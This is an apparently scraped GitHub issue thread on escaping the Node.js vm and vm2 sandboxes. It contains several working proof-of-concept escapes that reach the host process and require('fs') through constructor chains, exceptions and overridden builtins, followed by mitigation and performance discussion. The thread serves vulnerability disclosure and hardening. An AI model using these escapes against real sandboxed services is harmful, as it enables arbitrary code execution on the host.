Vm2: Escaping the vm sandbox

Created on 16 Jun 2016  ·  64Comments  ·  Source: patriksimek/vm2

It's possible to escape the VM and perform very undesirable actions.

Found via the following gist in relation to node's native VM: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0

Take the following 2 code examples:

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

and :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

Running either of these outputs the following:

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

I've validated this behavior on both v4.4.5 and v6.2.1

discussion

Most helpful comment

Argh! You're catching on! ;) I must apologize for leading you on like this. For any audience out there; the problem with VM scope in node.js is with references to objects in the host scope (from which you can gain a reference to all of host scope via the prototype chain).

Now that you've overridden the constructor property, I'll have to go underneath it:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

All 64 comments

Thanks for the report, I'm working hard on a new version of vm2 and I was able to fix this leak by creating context inside created context. Not sure if there's another way how to escape the sandbox, haven't found one yet.

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

Tried to climb up but seems it's not possible since this is true:

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

I've been playing with the approach you mention above.

The first goal was to try and adapt your comment to allow me to pass things into the sandbox, which is necessary for my use case. Please correct me if this is the wrong way to go about this, but it seems like the only way:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Outputs:

Hello World Inside
Hello World Outside

Next I tried again to escape the VM and was successful:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Which outputs:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

It seems like there is no way to safely inject things into the sandbox without those things being used to climb back out of the sandbox.

There is a way - objects needs to be contextified to VM's context. There're two ways how to do that. You can either deep clone those objects or you can use Proxies. I'm using Proxies in new vm2.

https://github.com/patriksimek/vm2/tree/v3

I have pushed the upcoming release to GH. It is still work in progress but it should work.

v3 is broken too:

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

It's kind of futile to play this game of whack-a-mole.

@parasyte thanks, it was caused by a typo in my code. It's fixed now.

Don't forget to catch exceptions.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyte thanks, fixed. I really appreciate your contributions.

🚎 +1

@patriksimek nice one!

I also have access to certain objects in global scope that I can leverage to break out of the contextified sandbox. This one doesn't even require passing any objects into the VM.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@parasyte sheesh! There must be a plethora of vectors left to discover.

@keyosk Yeah, probably...

BTW @patriksimek the ES6 is much better than coffeescript! 👍

@parasyte thanks again, it's fixed along with some more backdoors that I found.
@keyosk I believe that we will find them all.

What about this one?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyte nice catch, fixed that. Thanks.

You opened a whole new can of worms in a recent patch.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

Damn, I was working too late and lost focus. Wrote some security notes, primarily for me. :)

Thanks, fixed.

Well, I haven't even looked into NodeVM until now! There's a lot more surface area to scrub, here...

Right away I noticed an escape via arguments.callee:

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

Well, this points us to the initial issue here - context created inside new context is not enough, obviously. Short version:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

Haven't found a solution yet. Maybe patching the host with delete process.mainModule but I'm sure there is another way how to climb up to require.

Found a solution :-)

Argh! You're catching on! ;) I must apologize for leading you on like this. For any audience out there; the problem with VM scope in node.js is with references to objects in the host scope (from which you can gain a reference to all of host scope via the prototype chain).

Now that you've overridden the constructor property, I'll have to go underneath it:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Made some research here and noticed that global.__proto__ === host.Object.prototype. By applying Object.setPrototypeOf(global, Object.prototype) I was able to close the cricle.

Thanks again.

@parasyte @patriksimek is this closed on the latest npm published version?

Yep, we can close this for now.

FWIW, we solved this just by disabling eval ... and being very careful about not exposing references into the sandbox.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

This prevents the escape since the return process string is unable to be evaluated. As a consequent, it also disables legitimate eval() and Function Generator Constructor calls. (The utility of these features is rather questionable.)

@parasyte just for clarity is this something you implemented elsewhere? Or something contributed to vm2?

@keyscores this was implemented elsewhere.

Yep, elsewhere. We have a similar sandbox project that is currently awaiting clearance to release open sourced. Sorry for the confusion. I was commenting how the root issue was solved in that project.

@parasyte Any update your release? Would be interested to compare implementation. I think everyone wins.

@keyscores Sorry, nothing to report yet. The open source effort got deprioritized due to some bad planning in the organization. :\

I know this is a dead issue, but are there any known bypasses for Node's vm library when executing code like this:

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte : Just out of curiosity, why not just disable eval by injecting global.eval = null; into the top of the external code before you execute it?

@Eric24 Good question! This presentation explains why in some detail: https://vimeo.com/191757364 and here is the slide deck: https://goo.gl/KxiG73

The most important point is that there are many ways to call eval() from JavaScript, and replacing global.eval is just one of them. By the time you get through the entire list, you'll realize that it's impossible to monkey patch evals by GeneratorFunction. And this doesn't include myriad other ways eval() could be exposed by future ES changes.

So the only viable solution is to disable evals in V8 using C++.

@parasyte : Makes perfect sense (and thanks for the presentation). So, does your C++ code disable eval in just the vm or in the "host process" too?

@Eric24 it will disable eval in the context that disableEval is called in. You'll want to inject this into the start of the provided userland code that is to be run in the vm. Additionally you can also run this in your host and disable it in that context as well.

@parasyte : Got it. Thanks! I have to say that your solution is the best I've found after several days (over several weeks) of researching this topic.

@Anorov This was reported just a few days ago: https://github.com/nodejs/node/issues/15673 It allows escaping VM even with a null prototype on the sandbox. It's only a problem if domains are enabled (this is not the default, but beware of domain usage in all of your dependency hierarchy).

Here's a handy-dandy proof of concept. Tested on node v8.6.0:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

Be mindful of leaks like these. The only way to be safe from this class of vulnerability is disabling eval. And be weary that there may be other issues with vm outside of the scope of eval.

@parasyte Thanks. I am executing this code with Node from Python: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

No other libraries (domain or otherwise) are imported or used. Do you see any potential issues with this code? I would like to avoid requiring Javascript dependencies (like vm2) if possible.

@Anorov Ah I see. Are you worried that CloudFlare (or a MITM) will attempt to provide code that could break out of the sandbox? It would have to be a targeted attack, but I wouldn't rule it out entirely.

Correct. Someone could also conceivably mimic the page I'm expecting so
that my script thinks it's Cloudflare when it isn't. I'm considering also
checking that the server's IP address is owned by Cloudflare as an
additional precaution.

But regardless, let's just assume this code were running on any arbitrary
user input and not just Cloudflare's. Is the sandboxing mechanism safe, to
the best of the Node community's knowledge?

On Oct 2, 2017 10:10 PM, "Jay Oster" notifications@github.com wrote:

@Anorov https://github.com/anorov Ah I see. Are you worried that
CloudFlare (or a MITM) will attempt to provide code that could break out of
the sandbox? It would have to be a targeted attack, but I wouldn't rule it
out entirely.


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

@Anorov:

Is the sandboxing mechanism safe, to the best of the Node community's knowledge?

Absolutely not. The official documentation makes this very strong note:

Note: The vm module is not a security mechanism. Do not use it to run untrusted code.

I am aware of that warning, but I am asking about the practicality.

On Oct 3, 2017 4:34 PM, "Cody Massin" notifications@github.com wrote:

@Anorov https://github.com/anorov:

Is the sandboxing mechanism safe, to the best of the Node community's
knowledge?

Absolutely not. The official documentation
https://nodejs.org/api/vm.html#vm_vm_executing_javascript makes this
very strong note:

Note: The vm module is not a security mechanism. Do not use it to run
untrusted code.


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

In practice, the sandboxing mechanism is unsafe for untrusted code. That's why @patriksimek has attempted to create a safe sandboxing mechanism with the vm2 library. Which is also why @parasyte has done work to create his own library using a different approach at sandboxing untrusted code.

@Anorov In short, don't rely on vm solely. But it is a useful tool as a single layer of the onion.

I've been playing around with the vm and the suggested C++ code to disable eval from @parasyte . It works well, but using the vm in general comes with a pretty significant performance penalty. So we started experimenting with _new Function(...)_. I'm using this construct:

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

This works too, and is much faster (over 1000 times faster in some test cases). In addition to disabling eval, I also prevent the userland code from containing a reference to 'global' (without this test, the function can modify the global scope using global.whatever). This appears to be an effective and secure sandbox. What am I missing?

Does your strategy stop people from importing namespaces like fs and drastically modifying your servers? I'm also curious about the eval disabling, why all the worry about eval and not the worry about code outside eval?

@wysisoft : Good question. Yes, 'require' is not exposed. Each script, as part of its meta-data, defines a list of "allowed and verified" modules that it needs, which are individually exposed to the function before it runs. To your point specifically, 'fs' would not be on that approved list (but for scripts that need temporary storage, a set of limited read/write functions are provided).

Disabling 'eval' is key to stopping a number of exploits (see the comment from @parasyte on 18NOV16). Allowing 'eval' makes it possible to access the global scope in a way that cannot otherwise be prevented. More details in the comment from @parasyte on 1OCT17).

@Eric24 I don't understand what's "slow" about vm. It's exactly the same v8 runtime that powers nodeJS. Are you sure you're not doing something silly, like recreating the sandbox every time you execute the code? There's some overhead, but not 1000x more overhead.

@wysisoft eval() is an easily reachable method of escaping the sandbox. Disabling it will permanently close the escape hatch through evaluating code within the private context. But I reiterate again, this is not the only attack vector and you should be wary of everything.

@parasyte - I have a very simple test that creates a Function() and a VM with as close as possible to the same code for each, runs both 1000 times, and reports the total time required. Code below:

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

As you can see in the test, I'm creating the script and the context once, then running it 1000 times. However, in the real target use-case, I will need to re-create the context each time (potentially being able to cached the compiled script), because each run is unique and must start with a fresh context). Without recreating the context each time, the difference between the Function() and the VM is 6 to 14 times.

But after taking a closer look, I tried a variation of the code (creating the context each time inside the loop), which is closer to the real use-case. I had originally timed the one-time creation of the context at just under 1ms, so I was including that on a per-iteration basis. But running the actual code showed the real culprit--while VM is still slower, the problem is not creating the context, but creating the 'ctx' object. That's quite a surprise.

But creating a new object for the VM context will be needed each time through (although some variation of that will also be needed for Function(), so the difference between the two is back to the 6 to 14 times (which is still significant).

Hmmm. I just tried another test:

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Here, the 'ctx' object is recreated each time, in both tests, but the context is only created once. The time difference is back to the 6 to 14 range. But if I uncomment the line that recreates the context each time, were up to 144 times slower!

@Eric24 You're doing what I said in my previous post. 😕 script.runInContext() is the problem. This is effectively the same thing as calling eval() (with a different v8 context).

The solution to fix your performance problem is to call runInContext once to compile the code, and interact with the compiled code via the reference that it returns, or the references that you provide as input arguments. For example, passing a few new Event() objects for bidirectional communication with the sandbox. This is what our [still internal sandbox, hasn't been open-sourced for political reasons] vm wrapper does, and the overhead is completely negligible.

@parasyte : Hmmm. But doesn't new vm.Script() compile the code? In any case, I think to do what you're saying, the thing I should be caching is the reference to runInContext, so I'll only suffer the overhead the first time a script is called. Definitely worth considering.

Nope. runInContext compiles the code. Think about it. v8 is a Just-In-Time compiler. It has to execute the code to compile it.

@parasyte : OK, but from the node.js docs:
_Instances of the vm.Script class contain precompiled scripts that can be executed in specific sandboxes (or "contexts")._

@Eric24 The documentation is kind of confusing. The associated code snippet gets "compiled" in the same sense that an interpreter compiles JavaScript into byte code. The JS is capable of executing via an interpreter after the Script object has been instantiated, but the majority of perf gain from v8 comes from compiling this interpreted intermediate representation down into native machine code. The latter step doesn't begin until runInContext is called.

In reality, the JIT compiler life cycle is more complex than that, since the code has to warm up before the JIT will even consider it for optimization. There's plenty of reading materials on the Internet if you're interested in the details.

But to provide you with some hard data, here's the relevant source code for runInContext: https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54-L61

The realRunInContext reference is from the C++ contextifymodule. Which you can find here: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660-L719

The most important part of this C++ code is arguably the call to EvalMachine, which binds the compiled code to the current context, and calls script->Run() to begin the JIT compiler. Which of course is what starts looking for code to optimize.

Hope that helps!

@parasyte : Yes, that's helpful. Thanks!

We are struggling with one implementation using vm2 sandbox. Can we call async code inside the vm2 sandbox? the reason is, we need to connect to a data source like Mysql from the sandbox of vm2?

Yes you can async await inside the sandbox, what problems are you having?
Keep in mind if you are running untrusted code, you probably don’t want to
give full sql access to the sandbox. Instead, you probably want to add a
getdata() method to the sandbox That runs code outside the sandbox where
the actual SQL connection happens.

On Tue, Oct 24, 2017 at 6:49 AM Rajagopal Somasundaram <
[email protected]> wrote:

We are struggling with one implementation using vm2 sandbox. Can we call
async code inside the vm2 sandbox? the reason is, we need to connect to a
data source like Mysql from the sandbox of vm2?


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

@wysisoft Thanks for the reply, We have separately raised the issue with the details https://github.com/patriksimek/vm2/issues/102. Also the SQL access configs is provided by the user itself and sandbox script wont be accessing our app DB.

@Eric24 mind sharing the 'new Function ()' alternative? Looks cleaner than the VM

@platinumindustries : In the end, I actually don't recommend the "new Function()" alternative. We ended up staying with the VM approach, and focused on optimizing that code instead. What we have now works very well. I honestly can't recall exactly what pushed us in that direction, but I know there were several little things that ultimately crossed the "new Function()" approach off the list.

@Eric24 Very well then. Also, in the new version of NodeJS 10.9* They do have an option for disabling eval() in the vm. So is that enough or do I still need to disable it from C

Really sorry for jumping into an old thread.

However, in the real target use-case, I will need to re-create the context each time (potentially being able to cached the compiled script), because each run is unique and must start with a fresh context).

@Eric24 I'm looking at how I might potentially run some arbitrary code using vm2 inside a server application. I believe my use case is similar to the one you mentioned because I'm looking at how I can pass parameters/arguments from an incoming request into the code running inside the vm.

Right now the only way I can see to do this is to create a new context each time but this is really slow. I'm trying to figure out if I can reuse one context object but use some other mechanism to provide data to the code running inside the VM. @parasyte mentioned something about bidirectional communication using Event() objects but it wasn't totally clear to me.

I was wondering if you ran into a similar problem and if you did, would you mind sharing some tips as to how you solved it? Thanks for your time.

@darahayes : Actually, I am creating a new context for each run, but I don't find this slow at all. What kind of performance are you seeing vs. what you're expecting? And how are you measuring the performance?

I am spinning up a fresh nodejs process for each run, and its not that bad, less than 100 ms of delay.

Was this page helpful?
0 / 5 - 0 ratings